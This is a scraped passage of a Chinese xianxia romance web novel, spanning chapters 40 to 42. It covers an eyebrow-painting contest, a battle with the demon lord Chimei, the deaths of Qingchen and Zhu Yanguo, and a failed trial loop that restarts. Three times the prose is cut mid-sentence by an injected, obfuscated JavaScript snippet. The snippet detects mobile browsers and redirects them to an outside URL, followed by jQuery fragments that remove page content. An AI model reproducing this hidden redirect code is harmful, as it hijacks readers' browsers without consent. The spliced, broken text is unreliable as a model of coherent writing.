一条街快到头,总算有了处热闹,崔惊厄拨开人群,给谢扶光腾出位置往里瞧,只见里头是家胭脂水粉铺子,开业一周年,在搞什么比赛活动。 两人相貌皆很出众,顷刻受到了铺老板的注意。 “哟,好俊俏的公子,好貌美的姑娘,”掌柜先赞了一句,然后才道,“我见姑娘尚未施粉黛,要不要参加我们的画眉赛?” 他说着,一旁小伙计很有眼力见地举着规则牌过来。 “公子请看,男子为心仪的女子画眉,画的最好者可得螺子黛一只,公子,螺子黛可是金贵东西呢!” 规则很简单,就是限时一炷香,由铺子里的老师傅和围观百姓双重品评,评价最好者胜。 “等会儿,”崔惊厄笑着说,“我做不得主,还得看我家大小姐的意思。” 众人一片哄笑,还有男人嘲崔惊厄夫纲不振,崔惊厄只是笑,不予解释和回应。 “大小姐,画眉这事吧,我是真没干过,给个机会试么?”他从身侧歪头问她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221431|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢扶光从出生就在受瞩目,早烦了倦了,其实不太喜欢被围观的场合,但今夜她意外不觉得排斥,于是伸出手,很轻地勾了下崔惊厄的尾指。 崔惊厄领着她进场,坐在最后空缺的位子上。 小伙计点燃案上一炷香,喜气洋洋一敲锣。 “画眉比赛开——始——” 比赛开始,围观瞧热闹的人更多。 铺老板乐见其成,眯着眼笑呵呵歪进摇椅里摇蒲扇。 崔惊厄手边有个薄册子,上头载录了时兴的一些眉形,他打眼一扫,柳叶眉、远山眉、蛾眉……常见的都有。 崔惊厄又看了眼谢扶光,斟酌半晌,还是将那薄册搁置一边。 “大小姐,那些不配你,我自己看着发挥成不成?” “都交给你画了,哪还那么多问题?” 画个眉毛而已,又不是洗不掉,谢扶光觉得就是件极小的事,只不过给她画眉的是崔惊厄,她才多了几分重视。他何至于一副如临大敌模样? 崔惊厄确实很紧张,香已燃去一半,他终于伸出五指,轻轻托起谢扶光的脸,另一只手持石黛在她眉上细细描摹。 夜风习习,拂动着两人发丝偶尔勾缠一瞬,一触即分。 发尾扫到谢扶光脸上,和他这个人一样惹人心痒。 谢扶光坐着,崔惊厄躬身在她身前,他神色专注,她一双眼睛却在瞎看。从她的高度平视,刚巧能看见他的喉结,左右移动,时近时远。 在他滑落的碎发第三次骚痒她侧颊后,她报复性的,突然的就伸手触上了那颗凸起。 崔惊厄被摸了喉结,反应比她想象中更大,手一颤,石黛摔落在地,断为两截。 破碎的声音让谢扶光心里一突,本能就要把乐命从储物袋放出来,腕子被崔惊厄牵住才记起当下场合。 崔惊厄从那一瞬过电中回神,向铺老板致歉:“失礼,这石黛算我赔。” 正巧香也燃尽,铺老板顺势看向谢扶光。 崔惊厄一旦决定好,下手便很快很稳,她摸他喉结时,一对眉毛已基本画好,只差最后再精描几笔。 有别于多数姑娘们温婉的眉形,谢扶光回眸时,一双剑眉正横卧于她锋利凤眼之上,英气十足,与她甚是相称。 “妙啊!”铺老板逮着谢扶光瞧了好一会儿,又叫来铺子里精于妆容的老师傅,老师傅见了也赞道:“看来你夫君对你甚是了解,不然画不出如此合气质的眉毛。” “这螺子黛便送与二位了,祝二位白头偕老百年好……” 天际轰隆一声,一道闷雷炸响,掩去了老师傅未说完的那个“合”字。 一十几岁的圆脸少年从前方岔路口跑来,连滚带爬,顾不上喘息就喊:“快……快跑,魔族又来犯了!” 听到魔族,谢扶光从轻飘飘的云端瞬时跌落,她纤薄眼皮猛地一抬,剑眉凤眼,飒气中隐含威势。 但见一团黑气从街市上空飞掠,看方向是向他们租用的农院去了。 人群哄散,奖品螺子黛没有人拿,剑眉最后差的几笔也没来得及补全。 欢愉时光如那地上石黛,戛然而断。 40.风云变 白日还融融温馨的农院,此刻黑气缠绕,浓云压顶。 螭寐一袭惨白衣袍,负手立于屋顶正中,院里尽是随他来的魔兵,团团魔兵包围的中心是轻尘与被他挡在身后的朱颜故。 两厢应短暂交了手,轻尘唇角有血丝滑落,朱颜故则半躬着身子,有点站不直。 “小道士,我此行不是为了伤人,更不欲与贵宗交恶,单纯抓我妖魔界中小妖回去而已,此乃内务,你如此干涉,手怕是伸太长了。”螭寐说话时全程含笑,看起来风度翩翩,甚至有几分儒雅,“我比你大个几百岁,念在你年幼,可以不计较你适才无礼,现在你还有机会把自己摘出去,请吧。” 他掌心向上,伸手示意院门。 轻尘只是朝眼前的魔兵啐了口血沫,寸步未动。 螭寐寻常鲜少出门,今日亲至已然奇怪,更遑论还带上了他最得力的魔卫队,队中每只魔兵单拎出来都是缠斗的好手。 这样的魔兵来个七八只,轻尘和朱颜故或可扛上一扛,但眼下魔兵们充满了整间农院,房顶上还有个战力深不可测的螭寐虎视眈眈。 双方实力悬殊,谢扶光和崔惊厄没有贸然进入农院。 二人先各自以隔空寄音向舒扬舟和黎暨派兵求援,随后谢扶光从储物袋摸出几只无色无味的毒烟。 “这毒烟怕瞒不过螭寐。”崔惊厄面露犹疑,低声说。 “不用瞒,里头加了佐料。”情况紧急,谢扶光没多解释。 这种毒烟中添了能使魔物成瘾的东西,一旦沾上,就会抑制不住地渴求更多,而持续吸入的结果便是肝肠寸断,爆体而亡。 为防使用者不慎吸入,该毒烟可以灵力化解,因此也不必担心场中的轻尘和朱颜故中招。 既然她说没问题,崔惊厄虽不知原理,但选择相信。 两人分散于农院各角落偷偷将毒烟引燃,无色烟雾汩汩涌入农院。 螭寐不愧为魔尊,毒烟刚燃起,他便警觉一抬眸。 毒烟显然对他也有极强的吸引力,仅吸入几缕,他眼瞳霎时猩红,额侧青筋跟着鼓起,五指难耐收紧,将洁净白袍抓出了一片褶皱。 饶是如此,他却生生顽抗住毒烟致命的吸引,掌心不断逸散出黑气,将靠近他的迷烟缕缕吞噬。 螭寐下颌微绷,额际有汗滑落,面上笑意反而更浓:“哦?原来还有同伴,我说朱颜故,你新来的同伴可比你和这小道士有趣多了,一出场就帮我解决掉一帮废物。” 螭寐这般意志实属罕见,起码满院魔界精锐无一人能望其项背,他们刚开始还能勉力抗拒迷烟的吸引,不多时却统统败给身体本能的欲望,这会儿正一个个抽搐倒地,喷血而亡。 “剩下的两位朋友,不出来打个招呼一起玩么?” 螭寐面色是终年不见太阳的惨白,近乎与他那白衣一个颜色,唇色红得又像滴血,过盛的笑容绽开在这样一张脸上,不见戾气,不似魔物,倒更像风流妖鬼。 今夜变起突然,如一场突袭噩梦。 谢扶光摸不透梦的源头,但她隐隐有种直觉:螭寐今日的到访多半与朱颜故那个神秘的执念有关。 只不知她如何让堂堂一介魔尊上心至此。 谢扶光有话要问螭寐,正巧也想会会他,但方式大概不会像他希望的那样友好。 这种趁他病要他命的时机,就不能太讲武德了。 崔惊厄和谢扶光双双现身。 螭寐见了他们,又笑起来:“又是一人一妖的结合,我看明镜台日后不必再修道,干脆入妖魔界,排队与葵花宫结亲家。” “你这么爱说话,不如回答我的问题。”不知为何,面对螭寐,谢扶光有种天然的优越感,她明知他很强,却总产生一种对方理应臣服于她的感觉,这种荒诞感觉与体内不时升起的燥意一样,毫无来由,不像她的东西,又真真切切在她体内存在。 自知不应轻敌,谢扶光深深呼吸一口,及时调整心态,问道:“为什么要带走我二妹?” 问话时,她手上也没闲着,话音未落已从储物袋放出乐命,时隔月余,乐命终于再度出鞘,映着月华滑过一道绮丽薄光。谢扶光在薄光中身如流矢提刀迎上,人与话的尾音一齐飞掠,顷刻已至仍勉力抵抗毒烟的螭寐身前,挥刀直劈而下。 却不知螭寐身形如何变化,眨眼间已绕到了她身后,邪恶的吐息激起她满背汗毛。 “叫她二妹,那么你是……葵花妖族那位大公主?”螭寐这回说话时,言语中受毒烟所扰的隐忍骤然就消失了,“一个废物也敢对我动手,我是该恭喜你勇气可嘉,还是该惋惜你就要命休于此呢?” 说着,他原本正驱散毒烟的手风一样转了个向,汩汩黑气直朝谢扶光蔓来。 谢扶光敏捷一个翻滚,黑气险伶伶擦过她右肩,留下一片掌心大的伤,痛如火灼。 她竟躲开了这一招,螭寐深感意外,趁他发怔这一瞬,谢扶光连喘息的时间都未停下,报仇似的提刀就向他右肩劈去。 “小小把戏,”螭寐一只手以黑气推开乐命,另一只背后长眼似的拦截崔惊厄直抵他后心的剑刃,“也想糊弄我?” 两人虽都是修界这一代青年中翘楚,与螭寐到底差了几百年道行,更何况他魔尊之位并不白坐,无论战力还是意志皆远胜凡俗,寥寥几次对招,便知这一战碰上了硬茬。 螭寐此时神色如常,足见适才的落魄也是刻意伪装,大魔头的真实状态并未受损,眼下并不宜与之缠斗。 谢扶光与崔惊厄交换一个眼神,选择避退拖延时间。 右肩伤处焦黑一片,幸而她当前身份为妖,黑气不喜食她血肉,才没有向更深处侵蚀。 “魔尊大人真是偏心,”谢扶光不动声色琢磨着套话,“你不伤我二妹,唯独对我出手,是因为我不及她有用么?” “别套我的话,”螭寐城府极深,一听即知她用意,面朝着她笑意森然,“也别动拖时间等援兵的心思。我是整个妖魔界的主,我想带她走,还用给你理由么?” 说到这儿,他收了笑,又看向轻尘和崔惊厄:“我不想动你们,只是不欲与修界那些老头掰扯,一个个说着仁义道德,实则张口闭口算计的都是那几分利。我不欲生事,不代表会一直纵着你们扰我行事,劝你们行动之前呢,多想想贵宗长老们的一贯做派,想必他们精明至此,不会因区区两名弟子的生死,就要与我族交战吧。” “朱颜故,我也奉劝你,就算为了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233616|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的朋友们,也痛快些跟我走。总归结果都一样,过程中少死几个人不好么?” 朱颜故随身携的暗器拨云子已耗尽,她肺腑受击,元气受损,梦离箫也吹不成调,杀伤力大减,轻尘同样伤得很重,口中鲜血依然在流。 朱颜故环顾一周,拍拍衣裳上的脏污,拨开轻尘护她的手,故作轻松道:“我往日并无得罪魔尊大人的地方,想来大人寻我回去定不是为了为难,今日我便先随大人走了,我们来日再聚!” “不行!”三道声音同时响起。 谢扶光心下一个疑窦划过。 螭寐此行并未直言目的,虽能想见他不安好心,说到底也并无证据,正常反应是像朱颜故那样,半是茫然半含忌惮才对。 她和崔惊厄是知道此行必有大事发生,才非得阻拦,可轻尘什么都不知道,说到底,朱颜故的确归螭寐管,他并无阻拦的立场,瞧他这状态,分明是宁死也不愿朱颜故被带走,如此强硬,其实有些奇怪了。 但眼下不是想这些的时候,她先将疑问按下。 “有什么要事是遮遮掩掩不能说的?”轻尘拉回朱颜故的手,五指收得死紧,看着螭寐毫不避退,一字一顿,“你擅闯人界,说话又百般遮掩,我怀疑你居心不良,目的不可告人,我们明镜台势必彻查。” “你们明镜台?啊哈哈哈哈哈……”这句彻底逗笑了螭寐,他仰天大笑,白面红唇配上黑洞洞的口,在黑夜里惊悚非常,“真是个不谙世事的小道士,明镜台这等头号的缩头乌龟,竟也被你扯起仁义的大旗?” “你浑说什么?”师门受辱,轻尘吊起一口气,就要上前与他再战,被朱颜故死命拦下。 崔惊厄对此倒似毫无触动,只若有所思地垂下了头。 他心无波澜,并非全因明镜台非他的宗门,事不关己。而是仔细想想,螭寐说的未必不是这么回事。 凡人眼里,修界光风霁月,修者们都是神仙般的人物,除妖卫道,惩恶诛邪。但有人的地方处处是江湖,谢扶光和轻尘都是一心练刀练剑的小呆子,多年不问世事,自也没见过那些危难当前“明哲保身”的推诿,与和平年代利益交锋的暗流。 简言之,各门派内斗起来一个个精神激昂堪比斗鸡,外敌当前但凡不闹到不可收拾,聚众商量的结果多半是要缩回龟壳里。 他自幼被悲问寺放养,多年在外游历,类似的事见过很多,不以为奇,之所以会陷入沉思,是螭寐的话打通了他的一窍。 会不会当年朱颜故受到某种逼迫,轻尘曾向师门寻求帮助无果,并由此窥见了罅隙里那些肮脏的一角,这才生出来执念? 若是如此,似乎就能解释通了。 但眼下不及细想,螭寐耳朵动了动,像吃了小孩一样血红的唇勾起:“明镜台的人来得竟不慢,这会儿已下到了鹧鸪山的半山腰,嗯……葵花宫的小妖们也不远了,真扫兴,本来还打算与你们慢慢玩,现在没时间了。” 说着,他一甩手,源源黑气从雪白衣袖逸散而出,黑白对比鲜明。 那黑气缠住朱颜故腰身,登时勒出一道血痕,她越挣扎,创口越深。 “到头来还是免不了我亲自动手,早知如此,真不该带那一帮废物过来。” 41.第一次未通关 螭寐的低声抱怨传入崔惊厄耳中,他心思微动。 早年的魔尊杀欲极重,所到之处必腥风血雨,说是踏尸山血海而来也不为过。近年他却深居简出,这会儿还说什么不想亲自动手…… 螭寐究竟因何做出如此转变,有机会还是要查查,做到知彼知己。 朱颜故被黑气缠住,巨力拉扯下,她五指一寸寸从轻尘掌心脱离,骤然的空落感把时间抻长,一切却只发生在一瞬。 轻尘想也不想,径直追着她最后一截指尖,重新提剑朝螭寐掠去。 “找死……” 朱颜故腰身的血腥味直冲鼻腔,激起螭寐久违的嗜血快意,他似有些收不住,另一只手也泄出黑气,把轻尘勾到身边。 “这么想做苦命鸳鸯,好啊,本尊成全你。” 轻尘状况比朱颜故糟糕得多,他整个身体都在受黑气纠缠,血肉被肆意吞噬,明镜台的白衣弟子服以肉眼可见的速度转为猩红。 他疼得面色惨白,牙齿咬得咯咯作响,螭寐看着他近如泉涌的冷汗,发出一声喋喋怪笑:“本尊要么不动手,一旦出手,绝不留活口……你执意要开这个头,你们几个可就都没法善了了。” “正好我已久不见血,”说到这儿,他眉间笼上一抹戾气,“被压这么久……呵,你们修界的东西都真怪啊!”最后一句他意有所指,但已没人顾得上思忖。 屋顶之下,谢扶光与崔惊厄双双拔出刀剑,准备再度上前。 谁也没料到螭寐的感知竟敏锐至此,连葵花宫和明镜台的援兵到哪儿都能知道,眼下他杀心已起,轻尘与朱颜故又都在他手上,此事恐难善终,他们只能硬着头皮迎上,至少给螭寐制造些麻烦。 “不就是要我跟你走么?”这时朱颜故却喊道,“放了他们三个,我成全你!” 轻尘满身的血色映进她眼底,蔓开饱含恨意的红。 轻尘身体受黑气侵蚀相当严重,此刻已成了个血人,近乎人事不省,但听到她的话,还是强撑着朝她摇头。 闹到这份上,螭寐反倒不着急了,他歪着脑袋端详轻尘此刻狼狈的形容,饶有兴致问:“都这样了,还这么排斥我带她离开,难不成……你知道我带她回去是要干什么?” 他说着,不由也皱了皱眉。 螭寐天生嗜血,只是近年一直受“那一位”管制,出于忌惮不敢随意对修界出手,而轻尘自幼沐天地精华长大,一身血气太过干净,如今浑身是血,强烈的腥气刺激他的神经,压抑已久的毁坏欲重见天日,比先前任何一次都更暴烈。 他知道自己应当直接带走朱颜故,既少生事端,回去对“那一位”也好交代,但这会儿他魔性上头,杀人的瘾比谢扶光的毒烟更难扛百倍。 “总之……你就是……不能……带她走。” 轻尘身上无一处不在疼,黑气太厉害,噬咬他皮肉还不够,待伤口露骨,还要钻入骨头吸食骨髓,钻骨之痛,痛不欲生。 但今日见到螭寐的瞬间,他灵魂深处某种执念似被唤醒,每一根神经都拉扯着,告诉他决不能看着朱颜故被带走,这一走,酿成的便会是生生世世的痛悔。 “你怎么这么犟,偏不告诉我为什么?”螭寐魔性正盛,只是小小的忤逆也让他极不耐烦,他手指动了动,刚想把轻尘身上黑气更加重几分,檐下两只不怕死的小杂碎却又搅了上来。 谢扶光持刀在前,已领教了螭寐厉害,她这次谨慎许多,出手时不再使用寻常剑招,直接以霜寒十四式迎上。 她调用全身灵力灌注乐命,刀尖簌簌震颤不休,一个灵力凝成的凤凰图腾在半空现形。 谢扶光刀尖向下,直攻螭寐下三路,原本静止的凤凰竟也跟着动起来,在半空一声长啸,吞掉轻尘周身缠绕的黑气,化作熊熊烈火喷出喉咙,直朝螭寐烧去。 螭寐惧怕一切亮的东西,明火与灯光都是他的禁忌,但他从不是懂得避退之人,无论面前是怎样的对手,统统以攻为守。 他迎着烈火,拼上被灼伤的风险,一只手凝聚黑气,向下阻击谢扶光,另一只则借深重夜色化出一柄幽黑锋刃,直捣凤凰喷火的喉咙。 谢扶光死命扛了一下黑气攻击,“滋啦”一声腕部受灼,她咬牙没忍住吃痛一抖 ,累及凤凰身形也跟着一颤,闪避时失了准头,眼见就要被那黑刃刺中。 电光火石间,但听身后一声龙啸,谢扶光心神一震,初时还当是小美人,仔细分辨,耳中听到的却与小美人的声音略有不同,抬眼竟见一只硕大龙影呼啸着跃然空中,与她的凤凰一样,也是虚影,但威势不容小觑。 空中龙飞凤舞,屋檐上崔惊厄右手持剑,擦肩时朝谢扶光匆匆投来一瞥。 谢扶光认得他这一式:苍龙出渊。 此式与她那式凤舞九天是一对,二者同属于霜寒十四式。 崔惊厄又动用了右手剑,他的时间有限,赶在右腕的疼疾速加剧,蔓延至全身之前,他得发挥出这只手的最大效用。 半空中的苍龙影缠住螭寐借夜色凝成的锋刃,身躯盘绕收紧,锋刃溃散回归暗夜,一龙一凤配合默契,在螭寐头顶盘旋成为一个阴阳太极,金光大盛,直罩了螭寐满身。 谢扶光在短暂错愕过后,不顾腕上灼伤,紧握乐命立于崔惊厄对面,二人与中间的螭寐连成一条笔直的线。 无需交流,两人凭借对功法的熟悉与本身的默契,身形环绕螭寐兜转,刀光与剑影如天然互补的榫卯,招招式式填满螭寐周身,密不透风。 螭寐头顶曝着龙凤阴阳阵的金光,周身是招招紧逼毫无破绽的刀剑,分身乏术,只得松开对朱颜故和轻尘的黑气钳制。 他站立位置靠近屋檐,手上一松,朱颜故还好,趔趄两步勉强稳住身形,而轻尘浑身是伤,不乏有伤处入骨,却是站都站不住,就要沿着歇山顶滚落。 朱颜故身形摇晃,勉力奔至檐边,拽住他一只手。 可此时轻尘手上已血肉尽失,仅剩的骨头也被黑气侵蚀至中空,她只一握,那只手骨竟生生折断,残骨留在她掌心,洇湿一片血迹,骨头缝里还隐隐透出黑气。 螭寐虽受了手,那些深入骨髓的黑气依然滞留于轻尘体内,一点点侵蚀着他仅剩的生机。 轻尘的手骨断在她掌心,朱颜故有一瞬恍惚,她原地怔愣了两息时间,一时不敢呼吸,两息后才缓慢地把自己与当前的处境重新接好,半飞半跌回院中,半奔半爬至轻尘面前。 轻尘这会儿七窍都开始流血,形容极其可怖,一身骨头本就极尽脆弱,又经适才一摔,整个人几乎散架,在地面洇出一滩人形血迹,朱颜故扑到他面前时,他早已出气多进气少了。 万般无奈,任你天纵英才,亦或剑道高手,在深至脏腑的黑气侵蚀下,甚至做不到留有全尸地死去。 朱颜故徒劳地向他体内注入自己的修为,直至精力耗尽,力竭呕血,只换得轻尘原本还不住抽搐的身体渐渐就不会动了。 这乍暖的春三月,蓦然就还了寒。 檐上谢扶光和崔惊厄不知底下情况,与螭寐的缠斗犹在继续。 螭寐以黑气在周身围裹成一个阴鸷的茧,茧一层层被金光与刀剑剥开,又一丝丝重新结起,两相博弈,达成一个微妙的平衡。 “有脚步声,我师兄和黎暨他们来了!”不远处传来动静,越来越近,传入谢扶光耳中,她心头一喜。 下意识去看崔惊厄,刚短暂提起的心又重重下堕。 崔惊厄的右腕应是已疼了有一会儿,只是刚开始还能忍受,他便勉力强撑着不曾表露。 谢扶光看去时,他的痛意已蔓延至全身,其中以右手尤甚,那条红线闪着光在他腕上穿进穿出,反复钻骨磋磨。 他右手五指不受控制地颤抖,有心无力,剑招不慎出了个岔子,短暂泄露一个破绽。 须知与螭寐这等高手对招,任何破绽都可能在瞬间危及性命。 谢扶光强提起一口气,快刀频出,险伶伶补上崔惊厄的缺口,可缺口一旦出现,后续只会越来越多,她自己的体力也濒临耗尽,腕部因用力过度,灼伤反复开裂,鲜血滴得汹涌。 幸而螭寐也现出疲态,黑气修补的速度明显放缓,还不慎被头顶金光灼下左臂一块皮肉。 谢扶光听着距农院越来越近的脚步声,强撑着一口气不散,数着秒数只待人来。 可屋漏偏 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歇山顶上,谢扶光半个肺被刺穿,一呼一吸皆像有刀片剐蹭,黑刃刺入的力道让她向后连退数步,侧腰狠撞在房顶一根圆木,但听“咯嘣”两声,两根肋骨应声而断,激起她一声低嘶。 崔惊厄运气好些,黑刃只命中他肩头,险险避开了要害,而在他身上又是另一重水深火热,红线牵出的疼在五内蔓延,且有愈演愈烈之势,与苍龙影消散后神魂撕裂的疼相映成趣。 谢扶光拄着乐命勉力稳住身子,口中汩汩向外涌血,她顾不得擦,在喘息的时间,把断断续续的灵力重蓄成磕磕绊绊的一条通路。 崔惊厄疼得眼前一阵黑一阵白,抓住这黑与白的短暂间隙,透过盖住睫毛的迷蒙冷汗,极力向她投去一眼,正巧对上她看来的视线。 谢扶光其实是很纤瘦的身形,但搭配英挺眉眼与坚毅目光,没人能从她身上看出半分孱弱,纵然她此刻站都站不稳,在夜风中控制不住地轻轻摇晃,也只让人想到战场上的旌旗。 她投向他的一瞥很短暂,堪称仓促,又带着几分决绝,仿佛最后一眼一样。 一眼过后,她便借拄刀之力,飞身直追已提起朱颜故正向妖魔界疾行的螭寐。 她得拖住他,一会儿就够,只要撑到援兵过来。 崔惊厄绷紧下颌,仍在发颤的右手再度握紧藏蛟,也跟着追去。 而就在二人距离螭寐仅十余米远时,朱颜故突然回过头,声音不大,但足够让他们听见。 她平静开口:“大姐,你同崔道长走吧。” “不需要……再死更多人了。” 谢扶光很想同她说,再撑一会儿,只要一会儿,就会有很多人来救我们。 可变生陡然,朱颜故说那句话似乎只是为道别。 她话音刚落,前方骤然炸亮一片火光,崔惊厄和谢扶光被气浪波及,向后跌落,双双呕血,命却是保住了。 “她要干什么?”谢扶光艰难支起半个身子,愕然抬头。 但听空中一串接连不断的爆裂声,失血和眩晕令她双眼发花,不待看清楚,后脑已被一只温热大手一拢,她整张脸埋进一个带着淡淡腥气的怀抱。 “是日现暝昏,不太好看。”崔惊厄以拥抱挡住她的眼。 后世学轻尘学得不精,只学到一半皮毛,其实日现暝昏不只能照明用。 它以少量灵力引燃可作太阳,使用大量灵力将其炸毁,效力则堪比雷火弹。 轻尘送朱颜故的既为哄她开心的生辰礼,同时也是危难时的保命筹码。 螭寐太敏锐,但凡隔着距离炸毁此符,不待符咒炸到他身上,飞在半空时他必能有所察觉。 所以朱颜故献祭自己,在半空中死命拖住他,她恨红了眼,早不在意什么伤敌八百自损一千,将轻尘给她的日现暝昏符炸了个干净。 二十张符咒同时爆开,在黑沉的夜里像一场盛世烟花。 而符咒的两个主人,轻尘被噬空躯壳而死,朱颜故灰飞烟灭而亡,于她十七岁生辰当夜,双双死无全尸。 伴随烟花而来,还有一行金字: 【很遗憾,第一场轮回通关失败,未触及轮回境主人执念,还请诸位弟子从头再来。】 42.珍贵礼物 左腕断裂般的痛卷土重来,这一次更加汹涌,顺着血液一路抵至脑髓,谢扶光不知是进入新一场轮回后的反应,还是上场轮回中四肢百骸的幻痛仍未消失,整个人宛如沉在水里,大脑眩晕,眼前一个个画面被时空撕得抽象,打着圈盘旋眼前。 “别……不要……”她梦中呓语,眉头紧紧蹙着,昏迷中也极不安稳。 “师妹,醒醒,你又睡三天了。”舒扬舟的声音似从天边飘荡而来,她感到一瞬亲切,向那声音传来的方向伸手,掌心却兀地多出一物。 她本能一阵恐慌,想松手却松不开,抬眸看去,见是乐命的刀柄,悬起的心刚要落下,一股浓郁血气又兀地萦上鼻端,“滴答”声炸响,如午夜招魂的铃音。 只见乐命刀身沾满了血,蓄不住地在向下滴。 梦中的谢扶光不知那是什么,身体却比她熟悉,下意识颤抖起来,她困顿而迷惘,视线一寸寸沿刀刃向前,然后看见了在朱颜故炸毁二十张日现暝昏符咒时,那个揽住她的熟悉胸口。 此刻那里裂开了碗口大的一个洞,是被乐命洞穿的创口…… “崔惊厄!” 谢扶光惊叫着坐起,冷汗连连,喘息不止。 金樽玉盏,雕梁画栋,四面开窗。 眼前还是熟悉的葵花宫,上一场轮回已了,她又回到新一场轮回的起点。 一只温暖手掌抚上她脊背,舒扬舟声音难得柔和,关心人时别扭而生涩。 “师妹,没事了,都过去了,我们还有机会,还能重新开始,来,先喝点水……” 舒扬舟把水杯递给她。 她心思仍未回笼,失魂落魄饮下一口,干涩发痒的喉管骤然涌入大量液体,呛了个天昏地暗。 舒扬舟忙取过布巾为她擦拭,她却踉踉跄跄下了床。 “我……我得出去一趟。”谢扶光说着就往外跑。 “什么事这么急?”舒扬舟一错眼看见仍摆在床边的鞋,又叫道,“你先穿上鞋和外衣!” 他难得一副老妈子样,但谢扶光已顾不得笑他。 她只着了雪白里衣,赤着脚就向外跑去。 梦里贯穿崔惊厄心脏的伤口太过真实,就像真实经历过一样,她知道是假的,却还是忍不住去确认,只有亲眼见到那里完好的样子,她才能安心。 葵花宫距离妖魔界边界不远,她一路形容狼狈,汗湿的身体染了一路寒风,激起一阵阵呛咳,就这样跌跌撞撞抵至那道边界,身体猛地撞上边界屏障,她因反弹的力道向后狠狠摔了一跤,丝丝缕缕的痛意令她堪堪回神。 原来自己不光没穿外衣鞋袜,身上连颗能混出结界的作弊丹药都没有。 谢扶光跌坐在原地,理智后知后觉苏醒,揉着手肘和膝盖,似觉得荒诞,她有点自嘲地扯了扯嘴角。 她慢吞吞起身,就要原路折返,但走出两步,仍是回头望了一眼。 这一眼,她的视线尽头,出现了一个同样风尘仆仆的身影。 崔惊厄也昏睡三日,堪堪苏醒。 醒后他也第一时间冲来了人界与妖魔界的边界,第一眼就看见谢扶光这一个回头。 他走得急,略微气喘,谢扶光看着他胸口平稳的起伏,绷紧的神经总算松下来。 心上一块巨石落下,这才后知后觉脚底发凉,身上也太过单薄了些。 两人分立界线两头,谁都来的很仓促,没任何准备,无法实施“偷渡”,大眼瞪小眼半晌,忘了是谁先展露第一丝笑意,总之舒扬舟一手提鞋,一只臂弯搭着谢扶光的外裳追来时,两人正莫名其妙一起对着笑。 苍天啊,他那暴躁师妹几时这么笑过?他不会也傻了吧! “谢扶光!过来把衣服穿好。” 他看崔惊厄一眼,皱着眉头有些吃味:“我说你们做个假戏,怎么还演出真情了似的?” “我说小白眼狼,我守了你三天,你一句话都不好好跟我说,睁眼鞋都不穿就往这儿跑。”他点谢扶光,颇有自家白菜被猪拱了的丧气,“就为见这货?” “大小姐也才醒么?”崔惊厄精准抓住舒扬舟话中信息。 谢扶光披外裳时,他也理了理匆促出门时系歪了的腰带。 “嗯,不知道怎么回事,”舒扬舟带了能通过结界的丹药,和谢扶光各自服下一颗,“上一场也是,刚开头就昏迷三天,人事不省。” 崔惊厄自己也是这般状况,联系适才被谢扶光一刀穿心的梦境,他对她仓皇跑来的原因登时便有了猜测:或许两人之间有某种联系,她也做了同样的梦? 但梦中场景不算美好,他便没有多提,只将此事暗暗记下。 “上一场轮回怎么回事?”舒扬舟出来后问。 他赶到农院时,朱颜故已把自己炸成了灰,依稀见到螭寐受了重伤,其余便什么都不知道了。 崔惊厄把农院中情况与他粗略讲了一遍,三人一齐陷入沉默。 “我们大概一开始就想错了,”说农院中事时,谢扶光神色郁郁,始终沉默,这会儿才开口,“金字最后提示,第一场轮回未触及轮回境主人执念,若朱颜故的执念是想与轻尘在一起,不会用‘未触及’三个字。” “所以,一定有别的什么被我们忽略了。”舒扬舟附和,“上一场轮回中,螭寐屡次派魔兵突袭葵花宫,我猜测他最初想威胁朱颜故办事,或许打过葵花妖一族的主意,此计不成才只好亲赴农院动手。” “说到农院,”崔惊厄也想起桩事,道出心底疑惑,“螭寐在魔性被激出之前,很明显不欲亲自动手,据我了解,他从前可不是推崇爱与和平的性子。” “当晚他有几句话也很值得推敲,他说‘被压这么久’,还说‘你们修界的东西都真怪’,他一生桀骜,修界可有谁能压住他,让他心服口服听话?” 舒扬舟摇头:“历数修界这几代大能,无论是之前的无失圣手颜琅前辈,还是当今的我师父白扇真人,都当得德高望重四字,但他们与螭寐只是平起平坐,相互忌惮各自退让,并无令他臣服的本事。” 听到他说谢白扇,崔惊厄眉心浅浅蹙起一条褶皱。 不知为何,他对谢白扇总有种没来由的恶意,无论什么事总难以将他往好处想。 舒扬舟说完,见他面色不太好看,开个玩笑说:“要我说,恐怕也只有还在娘胎里的厉鬼能治服螭寐了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282343|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说起厉鬼,谢扶光有点生理性的头疼,很轻微。 她不知怎么福至心灵,揉着太阳穴突然就问了一句:“厉鬼是真的还没降世么?” 